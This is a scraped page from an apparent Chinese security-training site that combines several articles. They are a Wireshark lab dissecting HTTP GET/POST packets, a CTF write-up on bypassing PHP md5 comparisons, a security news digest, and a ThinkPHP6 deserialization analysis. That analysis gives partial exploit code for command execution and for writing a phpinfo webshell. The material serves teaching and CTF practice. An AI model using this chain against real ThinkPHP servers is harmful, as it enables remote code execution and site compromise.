如 上图,会 在左侧 看到按钮 ,点击”上传”按钮 ,选择 文件,这里我们选择桌面上的“http-post.txt”,点击 上传。等待 服务器响应。提示 上传成功,如下
我们保存 抓包文件 ,名字 为HTTP-Post。 任务一,就 到这里。
实战步骤二 分析HTTP数据包
1 HTTP报文格式
HTTP 由请求和响应 两部分组成,所以对应的也有两种报文格式。下面分别 介绍HTTP 请求报文格式和 HTTP响应 报文格式。
HTTP 请求报文格式
以上 表格中,第1 行 为“ 请求行” , 第2 、3、4 行为 “请求 头部”, 第5 行 为空行,第6 行 为“请求 正文”。 下面分别 介绍这4 部分:
(1) 请求 行:由3部分组成,分别为:请求方法、URL(见备注1)以及协议版本,之间由空格分隔, 请求方法包括GET、POST等。 协议版本的格式为:HTTP/主版本号.次版本号,常用的有HTTP/1.0和HTTP/1.1。
(2) 请求头部包含很多客户端环境以及请求正文的有用信息。请求头部 由“关键字 :值”对 组成,每行一堆,关键字和值之间使用英文“:”分隔。
(3) 空行,这一行非常重要,必不可少。表示请求头部结束,下面就是请求正文。
(4) 请求正文: 可选部分,比如GET 请求就没有请求正文;POST 比如以提交表单数据方式为请求正文。
HTTP 响应报文格式
以上 表格中,第1 行 为“状态 行” , 第2 、3、4 行为 “响应 头部”, 第5 行 为空行,第6 行 为“响应 正文”。 下面分别 介绍这4 部分:
(1) 状态 行由 由3部分组成,分别为:协议版本,状态码,状态码描述,之间由空格分隔。 状态代码为3位数字,200~299的状态码表示成功,300~399的状态码指资源重定向,400~499的状态码指客户端请求出错,500~599的状态码指服务端出错(HTTP/1.1向协议中引入了信息性状态码,范围为100~199)。这里列举几个常见的:
状态码 说明 200 响应成功 400 客户端请求有语法错误,不能被服务器识别 404 请求资源不存在 500 服务器内部错误 (3) 空行,这一行非常重要,必不可少。表示响应头部结束(4) 响应 正文,服务器返回的文档,最常见的为HTML网页。
2 HTTP的头域
在HTTP的 请求消息 和应答消息中,都包含头域。头域 分为4 种 ,其中请求 头域和应答头域分别只在请求消息和应答消息中出现,通用头域和实体头域在两种消息中都可以出现,但实体头域只有当 消息中包含了实体数据时 才会出现。下面分别 介绍这4 种 头域中的域名城和功能。
HTTP请求头域
Header 解释 Accept 指定客户端能够接收的内容类型 Accept-Charset 浏览器可以接受的字符编码集。 Accept-Encoding 指定浏览器可以支持的web服务器返回内容压缩编码类型。 Accept-Language 浏览器可接受的语言 Accept-Ranges 可以请求网页实体的一个或者多个子范围字段 Authorization HTTP授权的授权证书 Cache-Control 指定请求和响应遵循的缓存机制 Connection 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) Cookie HTTP请求发送时,会把保存在该请求域名下的所有cooki
应答 头域只在应答消息中出现,是Web 服务器向浏览器提供的一些状态和要求。如下
HTTP 应答头域
Header 解释 Accept-Ranges 表明服务器是否支持指定范围请求及哪种类型的分段请求 Age 从原始服务器到代理缓存形成的估算时间(以秒计,非负) Allow 对某网络资源的有效的请求行为,不允许则返回405 Cache-Control 告诉所有的缓存机制是否可以缓存及哪种类型 Content-Encoding web服务器支持的返回内容压缩编码类型。 Content-Language 响应体的语言 Content-Length 响应体的长度 Content-Location 请求资源可替代的备用的另一地址 Content-MD5 返回资源的MD5校验值 Content-Ran
通用 头域既可以用在 请求消息中,也可以用在应答消息。
HTTP通用头域
Header 解释 Cache-Control Cache-Control指定请求和响应遵循的缓存机制,可以附带很多的规定值。 Connection 表示是否需要持久连接 Date 表示消息发送的时间 Pragma Pragma头域用来包含实现特定的指令,最常用的是Pragma:no-cache,用于定义页面缓存 Trailer 表示以Chunked编码传输的实体数据的尾部存在哪些头域 Transfer-Encoding WEB 服务器表明自己对本响应消息体(不是消息体里面的对象)作了怎样的编码,比如是否分块(chunked),例如:Transfer-Encoding: chunked Up
只有在请求和应答消息中包含实体数据时, 才需要实体头域。 请求消息中的实体数据是一些由浏览器向web服务器提交的数据,如在浏览器中采用POST方式提交表单时,浏览器就要把表单中的数据封装在请求消息的实体数据部分。应答消息中的实体数据是web服务器发给浏览器的媒体数据,如网页,图片和文档等。实体头域说明了实体数据的一些属性。如下表
HTTP实体头域
Header 解释 Allow 列出由请求URI标识的资源所支持的方法集 Content-Encoding 说明实体数据是如何编码的 Content-Language 说明实体数据所采用的自然语言 Content-Length 说明实体数据的长度 Content-Location 说明实体数据的资源位置 Content-MD5 给出实体数据的 MD5值,用于保证实体数据的完整性 Content-Range 用于指定整个实体中的一部分的插入位置,他也指示了整个实体的长度。在服务器向客户返回一个部分响应,它必须描述响应覆盖的范围和整个实体长度 Content-Type 用于向接收方指示实体的介质
3 分析GET方法的HTTP数据包
我们 以HTTP-Get 数据包为例 ,分析GET 方法的HTTP 请求和响应数据包。
分析HTTP请求包
我们 打开数据包,输入过滤条件ip.addr == 10.1.1.33,如下
前三个 是TCP 的三次握手,第四个 数据包则是客户端向服务器 发送的HTTP 请求包,我们来学习分析下,
HTTP 之前的协议,本次我们 不做讲解, 不懂的同学可以看之前的实验,我们来看下HTTP 协议。
Hypertext Transfer Protocol
GET / HTTP/1.1\r\n # 请求行信息
Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n # 专家信息
GET / HTTP/1.1\r\n
Severity level: Chat
Group: Sequence
Request Method: GET # 请求方法为 GET
Request URI: / # 请求的 URI
Request Version: HTTP/1.1 # 请求的版本为HTTP/1.1
Host: 10.1.1.33:8080\r\n # 请求的主机
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n # 浏览器类型
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n # 请求的类型
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n # 请求语言
Accept-Encoding: gzip, deflate\r\n # 请求的编码格式
Connection: keep-alive\r\n # 使用持久连接
\r\n #空行
Full request URI: http://10.1.1.33:8080/ # 请求的 URI 为10.1.1.33:8080
HTTP request 1/8
Response in frame: 2770 #应答 是第2770 帧
Next request in frame: 2775 # 下一个请求是第2775 帧
以上 就是HTTP 请求包的相关信息,可以看到客户端使用HTTP/1.1版本 向服务器发送了GEY 请求,请求 访问10.1.1.33 的 服务器。 将以上 信息填入到报文 格式中,如下
GET方法的HTTP请求报文格式
GET 空格 / 空格 HTTP/1.1 \r \n Accept : text/html,application/xhtml+xml,application/xml \r \n … Connection : keep-alive \r \n \r \n Full request URI: http://10.1.1.33:8080/
分析HTTP响应包
根据请求包 的信息,我们已经知道, 响应包是第2770 帧 ,下面我们来看下
在HTTP 之前,我们看到了 下图显示的,TCP重组 片段, 这些片段共有2270 个 字节,由于超过 了TCP 数据包的最大数据分段(MSS ),所以将数据在TCP 层进行了分段。 从下面 的信息,可以看到 分断后的数据包及包大小,如#2767 (247 ), 其中2767 表示 帧号,大小 为247 个 字节。
下面 来看HTTP 的具体 部分
Hypertext Transfer Protocol
HTTP/1.1 200 OK\r\n # 响应行信息
Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n #专家 信息
HTTP/1.1 200 OK\r\n #HTTP 响应信息,响应码为200
Severity level: Chat
Group: Sequence
Request Version: HTTP/1.1 # 请求吧
Status Code: 200 # 状态码
Response Phrase: OK # 响应短语
Content-Type: text/html\r\n # 响应的内容类型
Content-Length: 2023\r\n #包 的长度
Content length: 2023
Accept-Ranges: bytes\r\n #服务器支持 的请求:字节
Server: HFS 2.3 beta\r\n # 服务器类型
Set-Cookie: HFS_SID=0.248448607278988; path=/; \r\n # 设置 Http Cookie
Cache-Control: no-cache, no-store, must-revalidate, max-age=-1\r\n # 缓存控制
Content-Encoding: gzip\r\n # 实体数据的压缩格式
\r\n # 空行
HTTP response 1/8 #HTTP 响应
Time since request: 0.015248000 seconds # 响应使用的时间
Request in frame: 2763 # 请求的帧号为2763
Next request in frame: 2775 # 下一个请求 的 帧号2775
Next response in frame: 2778 #下一个响应 的帧号是2778
Content-encoded entity body (gzip): 2023 bytes -> 4375 bytes #内容 编码(gzip )
Line-based text data: text/html # 基于行的文本数据
根据 以上信息,可以知道服务器使用HTTP/1.1 200 OK 响应了 客户端的请求。将信息 填入到报文格式中,如下
GET方法的HTTP响应报文格式
HTTP/1.1 空格 200 空格 OK \r \n Content-Type : text/html \r \n … Content-Encoding : gzip \r \n \r \n 省略
4 分析POST方法的HTTP数据包
分析HTTP请求包
下面 我们以HTTP-Post 为例,分析 POST 方法的 HTTP 请求和响应。打开 数据包,输入过滤条件ip.addr ==10.1.1.33, 显示 出的HTTP 中,Info列中还有POST 的即可 ,如下
我们 展开分析下
Hypertext Transfer Protocol #HTTP 协议
POST /hfs2_3b287/ HTTP/1.1\r\n # 请求行
Expert Info (Chat/Sequence): POST /hfs2_3b287/ HTTP/1.1\r\n #专家 信息
POST /hfs2_3b287/ HTTP/1.1\r\n
Severity level: Chat
Group: Sequence
Request Method: POST # 请求方法为 POST
Request URI: /hfs2_3b287/ # 请求 的URI
Request Version: HTTP/1.1 #请求 的版本
Host: 10.1.1.33:8080\r\n # 使用的主机
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0\r\n # 使用的浏览器类型
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n # 浏览器接受的类型
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\r\n # 希望使用的语言
Accept-Encoding: gzip, deflate\r\n # 可使用的编码格式,这里是 gzip 和 deflate
Referer: http://10.1.1.33:8080/hfs2_3b287/\r\nhttp://10.1.1.33:8080/hfs2_3b287/\r\n #从 包含的URL 页面发起请求
Cookie: HFS_SID=0.248448607278988\r\n #Cookie信息
Cookie pair: HFS_SID=0.248448607278988
Authorization: Basic ZGVtbzpkZW1v\r\n #授权 证书信息
Credentials: demo:demo # 登录的用户名密码
Connection: keep-alive\r\n # 使用持久连接
Content-Type:multipart/form-data;boundary=---------------------------54542580413055\r\n # 请求的内容类型
Content-Length: 367\r\n # 包的长度
Content length: 367
\r\n # 空行
Full request URI: http://10.1.1.33:8080/hfs2_3b287/ # 请求的 URI 为http://10.1.1.33:8080/hfs2_3b287/
HTTP request 1/6
Response in frame: 3800 # 响应的帧号
Next request in frame: 3802 # 下一个请求的 正好
以上 就是使用POST 方法的 HTTP 请求包,可以看到请求的连接及登录的用户名密码等。将上面 的信息填入到报文格式中,如下
POST方法的HTTP请求报文格式
POST 空格 /hfs2_3b287/ 空格 HTTP/1.1 \r \n Accept : text/html,application/xhtml+xml,application/xml \r \n … Content-Length : 367 \r \n \r \n 忽略
另外 ,我们 在HTTP 的下面,看到了如下的内容
类型 的Multipart/form-data 是上传文件的一种方式。 Multipart/form-data 其实就是浏览器用表单上传文件的方式。最常见的情境是:在写邮件时,向邮件后添加附件,附件通常使用表单添加,也就是用 multipart/form-data 格式上传到服务器。我们 实验中向 服务器上传了一个文件,所以就是此类型。
在 看Wireshark中 的使用
首先看wireshark 中字段与 Multipart/form-data 的对应关系: MIME Multipart Media Encapsulation :代表整个 Multipart/form-data 上传文件中的数据。
Encapsulated multipart part :代表表单中不同部分的数据。
Boundary :用来隔开表单中不同部分的数据。
其次,
1) MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "---------------------------54542580413055"
这行指出这个请求是 multipart/form-data 格式的,且 boundary 是 “----------54542580413055” 这个字符串。
2 )关于 Boundary : Boundary :用来隔开表单中不同部分的数据。实际上,每部分数据的开头都是由 “--”+boundary 开始的(这是 MIME 标准中讲述的标准内容)。
3 ) Encapsulated multipart part :紧跟着 boundary 的是该部分数据的描述:
Content-Dispostion:form-data;name="Filename"\r\n
每一个 part 至少一个 name 和一个 content 部分。
可以从 上面的multipart/form-data中 ,看到我们上传的文本名字为http-post.txt, 内容为“This is demo for HTTP POST”。
分析HTTP响应包
根据Wireshark 现实的响应包帧数,我们来看下第3800 帧 。
Hypertext Transfer Protocol #HTTP 协议
HTTP/1.1 200 OK\r\n # 响应行
Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n #专家 信息
HTTP/1.1 200 OK\r\n # 响应信息
Severity level: Chat
Group: Sequence
Request Version: HTTP/1.1 # 请求版本
Status Code: 200 # 状态码
Response Phrase: OK #响应 短语
Content-Type: text/html\r\n # # 响应包类似
Content-Length: 570\r\n # 响应包长度
Content length: 570
Accept-Ranges: bytes\r\n #服务器支持 的请求:字节
Server: HFS 2.3 beta\r\n #web 服务器类型
Content-Encoding: gzip\r\n # 实体数据的压缩格式
\r\n #空行
HTTP response 1/6 # 响应
Time since request: 0.008774000 seconds # 响应请求的时间
Request in frame: 3798 #请求 的帧号
Next request in frame: 3802 # 下一个请求的帧号
Next response in frame: 3804 # 下一个响应的 帧号
Content-encoded entity body (gzip): 570 bytes -> 866 bytes #内容 编码(gzip )
Line-based text data: text/html # 文本内容
以上 就是POST 方法的 HTTP 响应包,可以看到服务器向客户端发送了 HTTP/1.1 200 OK响应 了HTTP 请求包。服务器类型为HFS 2.3 beta, 将数据填入到报文格式中
POST方法的HTTP响应报文格式
HTTP/1.1 空格 200 空格 OK \r \n Server : HFS 2.3 beta \r \n … Content-Encoding : gzip \r \n \r \n 省略
实验中我们 讲解了 主要的GET和POST 方法, 可以抓包 考虑, 学习其他的方法,动手提高能力 。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
浅谈md5弱类型比较和强碰撞
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
前言
在CTF中,md5的题目太常见了,虽然有很多这方面的文章,但相对来说比较零散,这里主要将自己学习和比赛时遇到的md5弱类型和强碰撞的题目从浅到深地梳理一下。
本文涉及知识点实操练习:浅谈md5弱类型比较和强碰撞 相关实验:https://www.yijinglab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356(本课程旨在提供一些CTF题目给对CTF感兴趣的朋友们,让大家通过这些题目学习到相关知识。)
基本知识
php中有两种比较的符号==与=====在进行比较的时候,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。
0e开头且都是数字的字符串,弱类型比较都等于0。
==比较
测试代码
<?php if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) { if (md5($_POST['a']) == md5($_POST['b'])) echo 'flag'; else echo 'you are wrong'; } else echo "请输入不同的a,b值"; }
解法1
由于md5不能加密数组,在加密数组的时候会返回NULL
所以,我们可以传入两个数组
解法2
可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。可以查找以0e开头md5加密相等的字符串,也可以自己编写代码,提供以下脚本。
<?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^0e\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } }
s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030
===比较
<?php if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) { if (md5($_POST['a']) === md5($_POST['b'])) echo 'flag'; else echo 'you are wrong'; } else echo "请输入不同的a,b值"; } ?>
解法1:
也可以传入两个数组,但不再适合传入两个0e开头的字符串,因为===是md5的强碰撞,进行了严格的过滤。
解法2:
使用md5加密后两个完全相等的两个字符串来绕过过滤。
如何生成两个不一样的字符串,但是MD5是一样的呢。参考https://xz.aliyun.com/t/2232后,我们可以使用快速MD5碰撞生成器来构建两个MD5一样,但内容完全不一样的字符串。
http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
构造
创建一个文本文件,写入任意的文件内容,命名为ywj.txt (源文件)
运行fastcoll输出以下参数。-p 是源文件,-o是输出文件
fastcoll_v1.0.0.5.exe -p ywj.txt -o 1.txt 2.txt
测试
对生产的1.txt和2.txt文件进行测试
<?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data; } echo '二进制md5加密 '. md5( (readmyfile("1.txt"))); echo "</br>"; echo 'url编码 '. urlencode(readmyfile("1.txt")); echo "</br>"; echo '二进制md5加密 '.md5( (readmyfile("2.txt"))); echo "
可以看到,1.txt和2.txt文件二进制md5加密后的结果完全相同。由于1.txt和2.txt文件中含有不可见字符,所以需要将其url编码后使用。可以看到url编码后的两个字符串不完全相同,满足我们输入两个不同参数的需要。
当题目限制不能传入数组,只能传入字符串时,如下例题,就只能采用解法2.
<?php if((string)$_GET['a'] !== (string)$_GET['b'] && md5($_GET['a'])===md5($_GET['b'])){ echo "you are right"; } else { echo "you are wrong"; }
HECTF ezphp
源码
<?php error_reporting(0); highlight_file(__file__); include('flag.php'); $string_1 = $_GET['str1']; $string_2 = $_GET['str2']; if($_GET['param1']!==$_GET['param2']&&md5($_GET['param1'])===md5($_GET['param2'])){ if(is_numeric($string_1)){ $md5_1 = md5($string_1);
首先查看一些strtr()函数的用法:
strtr() 函数转换字符串中特定的字符。
观察源码,要求传入四个参数,首先param1===param2,因为没有别的限制,所以我们可以传入两个数组。对于是str1和str2,首先str1只能是数字,且最后$a == $b,但md5_1 != md5_2,所以我们不能传入两个md5加密后以0e开头的字符串。
又因为会将md5加密后的str1和str2中的cxhp替换成0123,也就是说c会被替换成0,所以一个ce开头的字符串会被替换成0e开头的字符串。
可以想到只要找到两个md5加密后是ce开头的字符串,或者一个md5加密后是ce开头的字符串,一个md5加密后是0e开头的字符串就可以绕过过滤。
构造脚本
这是一开始的脚本,返回值少,且执行速度慢。
<?php for($a=1;$a<=1000000000;$a++){ $md5 = md5($a); if(preg_match('/^ce\d+$/',$md5)){ echo $a; echo "\n"; echo $md5; echo "\n"; } }
这是进一步优化的脚本
<?php for($a = 1; $a <= 100000000; $a++) { $md5 = strtr(md5($a),'cxhp', '0123'); if(preg_match('/^0e\d+$/', $md5)) { echo $a; echo "\n"; echo $md5; echo "\n"; } } ?>
实战演练
<?php function random() { $a = rand(133,600)*78; $b = rand(18,195); return $a+$b; } $r = random(); if((string)$_GET['a']==(string)md5($_GET['b'])){ if($a.$r == $b) { print "Yes,you are right"; } else { print "you are wrong"; } } ?>
观察代码,有一个rondom方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让$a.$r == $b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,前面我们已经知道,以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。所以保证$a以0e开头就可以了,因为$r是一串数字,所以$a.$r在php中还是可以被解析为0。因为$b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。
你想在靶场学习CTF技术吗?
网络安全日报 2021年02月07日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、包装业巨头WestRock遭勒索软件攻击
https://www.securityweek.com/packaging-giant-westrock-says-ransomware-attack-hit-production
2、Plex Media Server被用作反射型DDoS攻击
https://www.securityweek.com/plex-media-server-abused-ddos-attacks
3、谷歌在2020年支付了670万美元的漏洞赏金
https://www.securityweek.com/google-paid-out-67-million-bug-bounty-rewards-2020
4、The Great Suspender插件包含恶意软件
https://securityaffairs.co/wordpress/114272/malware/the-great-suspender-extension-malware.html
5、Fortinet修复了FortiWeb应用防火墙中的4个漏洞
https://securityaffairs.co/wordpress/114233/hacking/fortinet-fortiweb-flaws.html
6、恶意软件Hildegard针对Kubernetes集群
https://securityaffairs.co/wordpress/114241/malware/teamtnt-hildegard-malware-kubernetes.html
7、Chainalysis 团队分析发现多个勒索软件团伙存在合作关系
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
8、Google Chrome同步功能被攻击者滥用以窃取数据
https://www.zdnet.com/article/google-chrome-syncing-features-can-be-abused-for-c-c-and-data-exfiltration/
9、Web开发教程网站SitePoint用户数据遭泄露
https://www.bleepingcomputer.com/news/security/sitepoint-discloses-data-breach-after-stolen-info-used-in-attacks/
10、Google警告其V8 引擎中存在零日漏洞 已被利用
https://threatpost.com/google-chrome-zero-day-windows-mac/163688/
thinkphp6的另反序列化分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
Forward
之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析;
首先环境可以composer一键搭建,然后php think run进行跑起来就可;
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECIDb06f-9bfa-4e0a-80af-36af7391a643(通过该实验了解ThinkPHP5远程命令执行漏洞的原因和利用方法,以及如何修复该漏洞。)
text
首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下;
protected $autosave = true; public function __destruct(){ if (! $this->autosave) { $this->save(); }}
其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;
回溯save方法;在CacheStore中找到了save方法;具体代码如下;
public function save(){ $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);}
可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);}
发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', 'md5', ]); foreach ($contents as $path => $object) {
首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this->store->set($this->key, $contents, $this->expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) {
这里可利用点在后面的serialize方法;直接追溯一下;
protected function serialize($data): string{ if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize'][0] ?? "serialize"; return $serialize($data);}
这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;
这里放出我自己写的exp;
<?php#bash回显;网页不回显;namespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['`id`']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends AbstractCa
最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;
通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;
下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/
下面也讲述一下;利用链和之前的是一样的;就是最后需要掌控一下filename和data的内容;我们可以看到如下图;
在最后的时候会有一个data的拼接,我本来想着在格式化那里尝试引入,但是格式化已经写死了,不能利用非法字符进行污染格式化引入危险代码;所以只能在最后的data处进行写入拼接;现在就是要控制data了;其实这里data是调用了serialize方法,追溯一下不难发现是将数组option中的serialize的键值拿出来套在了data前面;其实本质上也无大碍;但是这里有个小坑;因为是$serialize($data);所以这里要求这样的搭配必须是正确的,如果你随意传入函数,造成比如adsf($data);这样类型的不规则函数,就会导致报错,从而无法进行;
明白了这一点其实还有一个小坑;其实option的内容我们是可控的;那么我们就可以控制serialize的键值进行传入;但是这里因为之前进行了json_encode所以一般的函数最后构成的格式都无法进行base64解密;但是这里有个例外,我测试了serialize函数,发现经过序列化之后,我们可以正常进行base64解密;大概是因为可以构成字符串的原因吧;这里放出我的exp;
<?phpnamespace League\Flysystem\Cached\Storage{abstract class AbstractCache{ protected $autosave = false; protected $complete = []; protected $cache = ['PD9waHAgcGhwaW5mbygpOz8+']; }}namespace think\filesystem{use League\Flysystem\Cached\Storage\AbstractCache;class CacheStore extends Abst
另外可能有很多师傅困惑在可写目录的问题,这里我才用了虚目录的方法将其定位到了public目录之下;就在path参数那里可以体现;
最后访问结果是执行phpinfo;当然也可以写入system这样的命令执行函数;造成木马利用;
这个技术你学会了吗?加入https://www.yijinglab.com/mobile/actReg.html?pk_campaign=wenzhang-wemedia,1300+网安技能任你学!
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

